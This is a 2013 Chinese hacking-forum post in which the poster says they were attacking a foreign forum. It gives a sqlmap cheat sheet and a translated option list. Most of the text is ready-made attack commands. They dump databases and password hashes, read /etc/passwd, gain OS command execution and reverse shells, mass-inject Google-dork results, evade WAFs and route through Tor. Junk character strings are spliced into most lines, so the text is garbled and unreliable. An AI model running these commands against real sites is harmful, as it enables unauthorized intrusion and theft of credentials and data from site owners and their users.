找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2776|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、6 l7 }3 v& l2 C' \/ i
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
* }7 u- d/ D; }* ]3 h, osqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名% ?9 @6 X" D( D% ~1 p
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段; ^( f+ q0 u' f, c4 L% W
9 o6 L# S* \$ g3 y+ ?, Q9 u
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
8 @1 f& u/ R8 n2 E0 #获取字段内容
9 U( \3 p+ Z9 R2 L ! T5 @" e! X3 S& b7 l7 _6 S
******************信息获取******************: s' L/ f1 a& j2 n4 ]* R2 k
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
" c+ L( [2 r, O; U& wsqlmap -u “http://url/news?id=1″ –users #列数据库用户
2 h6 v2 `' P* \  D0 f1 Psqlmap -u “http://url/news?id=1″ –dbs#列数据库0 T0 n) {4 \# N% ?' M
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
( K: q' K+ b! a" x4 @1 Vsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码6 B" J& \/ p) H: |+ Z  O
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”. S! ?% K$ S( O, ?( \1 s
–start 1 –stop 20 #列出指定字段,列出20 条9 {% E3 O' l2 d8 s  {9 ]' `
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表: B- l3 v& I. m* K/ X- _
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
( i& l4 i3 L2 }5 W  R5 ]sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色7 c* }; e7 @6 \, o
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!): P# q: b* l( F4 X7 e& `4 j: }0 z
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
. c) c) X  k8 e% q* {( ]/ Ksqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
( y& z0 W" o( K+ a) p6 Esqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
( [) f" ~1 A9 W6 Q! J) hsqlmap -u “http://url/news?id=1″-b #获取banner信息
& n6 t( @  u; @/ wsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
4 ^" k. l) ]9 r" e; E* X$ fsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型9 K# J( C; d/ t3 L6 [# l
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
0 |* l: U1 t3 y7 s$ o8 u5 xsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
6 V8 m6 b  U0 Hsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令/ o0 l+ }" K3 @6 `$ x
sqlmap -u “http://url/news?id=1″ –file /etc/passwd3 {6 A9 I" j) o1 M. Y4 m3 i
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令: S3 m; \7 q4 v  ~
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell( Q9 R% l% ?0 n0 M. m' l
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
) T4 [+ ]7 C' Z- t; |sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度! M$ a# S$ n6 `' s7 z% s
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度5 |, S& ?6 ~) D7 ^
***********高级用法*************
/ L  L+ ]% o. M9 A1 {) k; i( m6 U-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入7 V9 N! C: x; q& Y) ~
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
0 ?, W, d/ _. Q3 |, {/ Q4 J; b# y–technique   测试指定注入类型\使用的技术
0 X/ w) [7 F- B8 q/ c4 y不加参数默认测试所有注入技术" x6 ~; E) Z$ b# j" @' V
•     B: 基于布尔的SQL 盲注1 b0 ?7 ]1 v2 J8 k0 @' |
•     E: 基于显错sql 注入
8 U4 P7 s7 G6 z. F# `: [' ?5 \•     U: 基于UNION 注入5 D/ `) j1 p6 z9 d: B# `% X" I
•     S: 叠层sql 注入2 N+ w: D5 ], E/ D) o
•     T: 基于时间盲注- b% O: N# E6 ~6 W' _" |6 |
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
* }- P  Z; |) j' r$ I8 U–tamper 插件所在目录
" m+ c& q% V9 I. c9 \\sqlmap-dev\tamper
# q1 B7 n" S1 V$ _1 y+ Ysqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能, V: c; [8 _  O! H7 {
level 执行测试等级 攻击实例:+ ]$ W. Z/ X2 D4 ?& x1 [# k' g
Sqlmap -u “http://url/news?id=1&Submit=Submit”8 r' N) x' g/ n% D3 W
–cookie=”PHPSESSID=41aa833e6d0d
+ d: H) g9 Y/ _28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user$ G9 b- w) X7 `
–password
2 e* i" M* e# c0 o# U参考文档:http://sqlmap.sourceforge.net/doc/README.html, q# J6 g( x+ u" T+ y
***********安装最新版本*************, K* o2 N( m/ |2 w& t
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版: r; t$ ]7 G* O& z( E6 _6 Y
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev( O4 ^/ c$ W. G% Z6 j& b0 Z! d6 o
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件' e( Q1 w+ b6 Z: X5 ^% y
sudo vim /home/当前用户/.bashrc) r' L. B; i, Q1 U& ?, u0 V' J& e
#任意位置加上:
8 E: b7 A7 l$ v$ n' F6 ?: Halias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
) `/ C, F4 s8 o  m  k( u; {: x- V如果想对所有用户有效 可设置全局 编辑下面的文件  N; l3 U! P  s2 Q0 Y8 g$ I# G
vim /etc/profile. B. d$ j* i, D9 D1 r, y( ?0 |
同样加上:; ?9 ]8 M) S# ^! q
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效( l+ T- G$ q( z( M- f: b
******************windows 7 (x64) sqlmap install (SVN)************
8 n0 ]' f3 c" U' B2 S' Qhttp://www.python.org/getit/ 安装python" R2 y# h, F- l2 U7 ~. G/ a
http://www.sliksvn.com/en/download 安装windows svn client1 B/ \) ?0 o5 v
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
, S0 x( l, u4 j9 M安装sqlmap( R( `0 J* j) ?/ ]5 t  w! Z. }
*修改环境变量! M( ]3 B& T/ y7 w$ |) _
–version             显示程序的版本号并退出. s$ V1 C- ?$ ^! q
-h, –help            显示此帮助消息并退出# B' w/ l1 [4 T1 x9 C3 d6 G
-v VERBOSE            详细级别:0-6(默认为1)
% s6 m( d# y, C6 LTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
* h( L; h' k& s/ X; K+ j9 m. }" i- [-d DIRECT           直接连接到数据库。9 n; b" p- K5 z1 ~* k4 |$ V
-u URL, –url=URL   目标URL。
/ s/ g- }; C( D& i$ e3 S8 N, j3 p-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
; Q8 G% a( U/ F. q" u( s-r REQUESTFILE      从一个文件中载入HTTP 请求。) F, B0 h8 _4 |. [- a& H, S
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。* W" r% G5 h5 u
-c CONFIGFILE       从INI 配置文件中加载选项。
! g% \. f3 O% G5 ^Request(请求)::
* P0 V& d9 X* r8 g" y' A2 \: q这些选项可以用来指定如何连接到目标URL。' m+ z/ B; C5 i$ ~8 q8 o
–data=DATA         通过POST 发送的数据字符串2 g, X0 d. I2 k# l
–cookie=COOKIE     HTTP Cookie 头
5 E( N: I9 B  i/ ~2 d–cookie-urlencode  URL 编码生成的cookie 注入/ P8 B$ c% j( j; G3 M7 L( H0 e3 o9 b
–drop-set-cookie   忽略响应的Set –Cookie 头信息
8 b% R: Z& \% V4 a; P : f/ a; ?2 X. R/ O  l) @) U6 M
–user-agent=AGENT  指定  HTTP User –Agent 头! M2 @2 N. p! B, E
–random-agent      使用随机选定的HTTP User –Agent 头
0 j$ ^2 u8 e% `7 p" {8 ]–referer=REFERER   指定  HTTP Referer 头$ E$ v1 [2 o0 Q3 |
–headers=HEADERS   换行分开,加入其他的HTTP 头5 n- h4 U' [( f' d
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
6 r& k6 ^: b8 `& q/ m–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
5 h* r9 \7 q- X* C, g–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)8 P4 U/ A- h% O( }3 T5 U2 U
–proxy=PROXY       使用HTTP 代理连接到目标URL  M$ z" ]& ~3 x1 Y5 c; u5 E' v4 w
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)$ M, P' k" I$ n& s- z7 n4 I
–ignore-proxy      忽略系统默认的HTTP 代理, O. ~0 _- N9 T3 R8 j
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
/ x4 A. H* T9 Z: W–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)8 U4 c5 G9 R: X- E% t4 G. Z
–retries=RETRIES   连接超时后重新连接的时间(默认3)4 _+ M1 ~  j5 Y, K  |
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式% ~/ \5 F9 C4 D0 V8 S( O0 }
–safe-url=SAFURL   在测试过程中经常访问的url 地址6 r% m  G  s: ?" h7 J7 S4 R
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
$ j8 R" n# K! \! l0 eOptimization(优化): 这些选项可用于优化SqlMap 的性能。
$ F0 `0 E/ D% c-o                  开启所有优化开关
4 R9 D  y+ V/ F- a2 I/ u7 T! s" P–predict-output    预测常见的查询输出, T  N# q! a8 [# a# v: F
–keep-alive        使用持久的HTTP(S)连接
. l6 t" i5 j* p3 }1 C–null-connection   从没有实际的HTTP 响应体中检索页面长度3 D3 V- R2 Z. B
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1); k7 ^! ^8 N% F0 b
Injection(注入):
! y" N+ U( V  }# p3 U8 W3 \这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。! \* S! y% o2 y: ^% ^
-p TESTPARAMETER    可测试的参数(S)
- v5 d; S  i" E4 f0 y–dbms=DBMS         强制后端的DBMS 为此值$ ?. l. w3 y( J0 q$ I& a7 f% R
–os=OS             强制后端的DBMS 操作系统为这个值! ]' g( w3 j8 {8 K, {
–prefix=PREFIX     注入payload 字符串前缀
) T* }: R) s% Y( K8 C–suffix=SUFFIX     注入 payload 字符串后缀6 s7 x+ p2 [! @( E' X# `' o/ c
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据7 D6 d* J/ W2 y5 e
Detection(检测):+ c+ x( O/ ~* Q9 S  S
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。- I' Y- K- C) G$ {! A" k
–level=LEVEL       执行测试的等级(1-5,默认为1)4 X4 Q  D9 P$ T" |
–risk=RISK         执行测试的风险(0-3,默认为1)' q# ]4 Q5 H/ k: {* O
–string=STRING     查询时有效时在页面匹配字符串
/ X6 T0 m5 ]- c- t; W( ~9 Y6 a–regexp=REGEXP     查询时有效时在页面匹配正则表达式$ l( W6 e" p% R6 Z
–text-only         仅基于在文本内容比较网页+ k1 h) j. p" s3 U* @$ M
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
# v: o5 Q# V. g& k–technique=TECH    SQL 注入技术测试(默认BEUST)
( A+ n3 Y7 A: j* |# b–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
5 K  E5 r- M! u) G" d& M9 n–union-cols=UCOLS  定列范围用于测试UNION 查询注入7 ?, x& h" }5 @3 w6 t% a
–union-char=UCHAR  用于暴力猜解列数的字符4 i9 d& H$ y& t, A% d/ i* V
Fingerprint(指纹):
  z& Y! k2 J. Q2 T-f, –fingerprint     执行检查广泛的DBMS 版本指纹
% c0 E  Q8 h! G$ n7 N9 BEnumeration(枚举):1 n# q+ Y- t/ [& s0 a4 k5 }
- l/ I; h# M$ p# D  R" k# B
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
% n2 n7 m* s% H- @9 [-b, –banner        检索数据库管理系统的标识
0 S1 t) }: E3 X% x% j" J–current-user      检索数据库管理系统当前用户4 F1 P6 l+ u5 i
–current-db        检索数据库管理系统当前数据库
& f, [2 P4 K7 i8 x" v9 T–is-dba            检测DBMS 当前用户是否DBA
$ q8 D3 P; N. h3 _, h–users             枚举数据库管理系统用户5 _, ^/ z$ J" g
–passwords         枚举数据库管理系统用户密码哈希
! M% v! V( `- g: e–privileges        枚举数据库管理系统用户的权限
( I% g$ F) f( P) `–roles             枚举数据库管理系统用户的角色
) m' n' S$ y1 y0 z9 o: L–dbs               枚举数据库管理系统数据库
. }5 f7 t: l% S2 p* {9 b–tables            枚举的DBMS 数据库中的表
/ K/ b  G1 _4 t! w. M–columns           枚举DBMS 数据库表列
# F4 F$ p0 y  X  X–dump              转储数据库管理系统的数据库中的表项
1 u% Q/ {2 F5 j–dump-all          转储所有的DBMS 数据库表中的条目
5 `9 E! C, o- p% e3 x( O: `–search            搜索列(S),表(S)和/或数据库名称(S)
& ]" t8 T# }. I2 i3 _-D DB               要进行枚举的数据库名' t4 w+ c8 }6 w; o" \2 h
-T TBL              要进行枚举的数据库表
4 ^0 b; g8 K2 `5 v; t+ c-C COL              要进行枚举的数据库列
% y4 h$ ]' X5 G" [' O' W6 o-U USER             用来进行枚举的数据库用户
# S$ E2 b, O8 j–exclude-sysdbs    枚举表时排除系统数据库: y0 P: q$ m5 L" \. j  d  o
–start=LIMITSTART  第一个查询输出进入检索" f. f* `$ R* j5 h2 H8 ?% o
–stop=LIMITSTOP    最后查询的输出进入检索
6 u) \7 u) G; B) H0 C–first=FIRSTCHAR   第一个查询输出字的字符检索' {& C7 Q9 X0 C' Y* O
–last=LASTCHAR     最后查询的输出字字符检索, t/ |# v( [9 O% ], T3 R( c
–sql-query=QUERY   要执行的SQL 语句
+ y" {% w$ Y1 |" m! Z/ v' ]–sql-shell         提示交互式SQL 的shell4 a+ R" K6 D  Q# m: K7 W4 R: [2 S% Z1 y
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。" o: X& j8 A9 p
–common-tables     检查存在共同表; I. |& C+ U& [4 Z
–common-columns    检查存在共同列1 F7 H( J8 `+ @+ r+ C. k/ W  A
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
" t9 j7 j1 M2 e% e* C, M8 V  m–udf-inject        注入用户自定义函数; I3 e% H" S5 Z, H+ A8 s. s
–shared-lib=SHLIB  共享库的本地路径8 E: K2 o$ O) Y+ v0 u# t& D
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
5 Q4 T3 H* w* P2 n–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
/ J# c+ g- i& l2 x2 P–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
4 \- g) F5 ~: ], d/ u8 B–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
( t) l; d" N$ ~) i0 U% D: uOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。; L( V$ b+ Y* j5 J! }. m9 h
–os-cmd=OSCMD      执行操作系统命令9 C  a* B9 B; _3 [6 v* }
–os-shell          交互式的操作系统的shell
2 E4 s- L6 }! V! q6 z" g–os-pwn            获取一个OOB shell,meterpreter 或VNC" D" i9 N1 A" v' ?) V; G% \, B: y
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC) M9 U7 M! `, l  |
–os-bof            存储过程缓冲区溢出利用
3 Q: J( b; a% ~5 ]–priv-esc          数据库进程用户权限提升/ B/ u# o- h' B4 V: P! Q
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径9 z5 g# f, _( ~% `9 S* g
–tmp-path=TMPPATH  远程临时文件目录的绝对路径, {# u9 C) q5 k! g7 B* x" X/ v
7 P6 H* ~- B3 m. W- ~* @
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。0 q. |' p  [! Z  _2 R7 N) }
–reg-read          读一个Windows 注册表项值
; {$ f6 r% \5 Y–reg-add           写一个Windows 注册表项值数据+ x5 _  f8 L5 D" P- w
–reg-del           删除Windows 注册表键值0 Z5 Z# E1 L9 Q/ ^" }
–reg-key=REGKEY    Windows 注册表键, r0 K1 [/ u3 y( i. Z
–reg-value=REGVAL  Windows 注册表项值2 X3 ^5 n  V) N; ^' ?- [3 H( g- ]8 K- J
–reg-data=REGDATA  Windows 注册表键值数据1 u4 Q$ m5 S0 j$ N
–reg-type=REGTYPE  Windows 注册表项值类型& K0 R( [0 a1 `3 T* f7 f1 [, T
General(一般): 这些选项可以用来设置一些一般的工作参数。' U' W: H9 O& K* V! H
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
+ j+ o# |4 _. h1 P-s SESSIONFILE      保存和恢复检索会话文件的所有数据
$ h$ u& s9 Q0 z1 }5 y–flush-session     刷新当前目标的会话文件" l6 J7 i2 F/ p# X7 O
–fresh-queries     忽略在会话文件中存储的查询结果& l8 a+ x# _7 S8 v; D
–eta               显示每个输出的预计到达时间
) z; |7 _9 _$ M$ x- ~–update            更新SqlMap
. A0 Q5 H( }" X5 W$ w& O% C–save              file 保存选项到INI 配置文件
, \4 X/ o" z& v9 ^–batch             从不询问用户输入,使用所有默认配置。- [: o+ I2 m. m0 y
Miscellaneous(杂项):
, F8 R( I. C. f5 s; r' Y–beep              发现SQL 注入时提醒* [# e! X# O0 D2 J8 k; H+ m( Z
–check-payload     IDS 对注入payloads 的检测测试
; n- d4 m7 v; ^* \' J3 p! b& D–cleanup           SqlMap 具体的UDF 和表清理DBMS
) F; E/ L0 l. g; {. S+ p3 {3 j9 j–forms             对目标URL 的解析和测试形式
8 W) S. k# d3 c& T' a3 \5 p–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
; ~" \' l; P; U$ m8 {5 O  C2 [, w$ z–page-rank         Google dork 结果显示网页排名(PR)3 q9 @% l& [6 |. \
–parse-errors      从响应页面解析数据库管理系统的错误消息$ c2 J& K! I( P& l, F% s: @
–replicate         复制转储的数据到一个sqlite3 数据库7 F+ }2 u4 S/ m+ }
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
# ^1 V2 w6 D8 {: Q–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表